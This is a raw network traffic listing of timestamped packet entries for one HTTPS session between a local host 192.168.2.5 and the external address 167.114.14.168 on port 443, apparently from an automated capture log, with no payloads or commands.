Oct 2, 2024 06:10:25.965215921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.965275049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.038307905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.038352966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.038393974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.038403034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.038439035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.038459063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.038747072 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.038803101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.038840055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.038846016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.038880110 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.038887024 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.039109945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.039156914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.039180040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.039186954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.039207935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.039216995 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.041704893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.041774988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.041781902 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.041800976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.041831970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.041857958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.042393923 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.042435884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.042454004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.042462111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.042484045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.042495966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.044852972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.044897079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.044934988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.044943094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.044972897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.044986010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.053303003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.053347111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.053380013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.053388119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.053410053 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.053427935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.053777933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.053827047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.053842068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.053849936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.053874016 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.053885937 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.126758099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.126808882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.126981974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.126981974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.127010107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.127321959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.127374887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.127413988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.127424002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.127440929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.127471924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.127707958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.127748966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.127782106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.127789021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.127801895 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.127832890 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.130382061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.130441904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.130470037 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.130479097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.130503893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.130521059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.130821943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.130865097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.130892992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.130902052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.130933046 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.130943060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.133229971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.133251905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.133301020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.133310080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.133341074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.133359909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.141705990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.141726017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.141797066 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.141808033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.142232895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.142256021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.142292023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.142299891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.142332077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.142357111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.195703983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.215166092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.215193987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.215240955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.215253115 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.215286970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.215301991 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.215745926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.215768099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.215821981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.215828896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.215857983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.215884924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.216008902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.216032028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.216068983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.216077089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.216103077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.216118097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.218648911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.218667984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.218707085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.218714952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.218740940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.218761921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.226608992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.226655960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.226685047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.226696014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.226727009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.226746082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.226811886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.226859093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.226878881 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.226886034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.226917028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.226934910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.230415106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.230456114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.230488062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.230495930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.230526924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.230546951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.230833054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.230892897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.230895996 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.230921030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.230953932 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.230964899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.303767920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.303817034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.303842068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.303853035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.303885937 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.303903103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.304214001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.304259062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.304275990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.304285049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.304305077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.304325104 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.304724932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.304765940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.304783106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.304790974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.304824114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.304835081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.307173014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.307239056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.307256937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.307327032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.315025091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.315072060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.315094948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.315105915 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.315149069 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.315179110 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.315431118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.315496922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.315499067 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.315525055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.315562010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.315587997 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.318947077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.318989038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.319015980 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.319024086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.319056034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.319067955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.319314957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.319374084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.319407940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.319417000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.319428921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.319458008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.392139912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.392189026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.392219067 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.392227888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.392251015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.392266989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.392566919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.392612934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.392641068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.392647982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.392673016 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.392683029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.393016100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.393059969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.393086910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.393095016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.393119097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.393132925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.395720959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.395765066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.395796061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.395803928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.395827055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.395844936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.403470039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.403542042 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.403548956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.403574944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.403604031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.403630972 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.403825998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.403873920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.403898954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.403907061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.403933048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.403943062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.407269001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.407311916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.407341957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.407350063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.407372952 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.407407999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.407726049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.407776117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.407803059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.407810926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.407835960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.407850027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.481951952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.481993914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.482233047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.482233047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.482249022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.482572079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.482642889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.482651949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.482697010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.482700109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.482727051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.482759953 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.482790947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.483124971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.483191967 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.483318090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.483390093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.485655069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.485697985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.485749960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.485758066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.485788107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.485807896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.493272066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.493323088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.493369102 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.493377924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.493412018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.493432999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.493763924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.493834019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.493834972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.493859053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.493892908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.493907928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.497092962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.497144938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.497174025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.497183084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.497211933 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.497221947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.497337103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.497406006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.497519970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.497591019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.570718050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.570765018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.570831060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.570842981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.570879936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.570888996 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.571309090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.571351051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.571392059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.571398973 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.571420908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.571448088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.571748018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.571790934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.571821928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.571827888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.571851015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.571868896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.573930025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.573972940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.574002981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.574009895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.574035883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.574048996 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.581988096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.582061052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.582081079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.582087994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.582110882 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.582125902 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.582583904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.582629919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.582659960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.582665920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.582691908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.582710981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.585485935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.585530996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.585555077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.585561991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.585597038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.585604906 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.586467028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.586522102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.586545944 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.586551905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.586580038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.586597919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:26.658227921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:26.658272028 CEST	443	49715	167.114.14.168	192.168.2.5
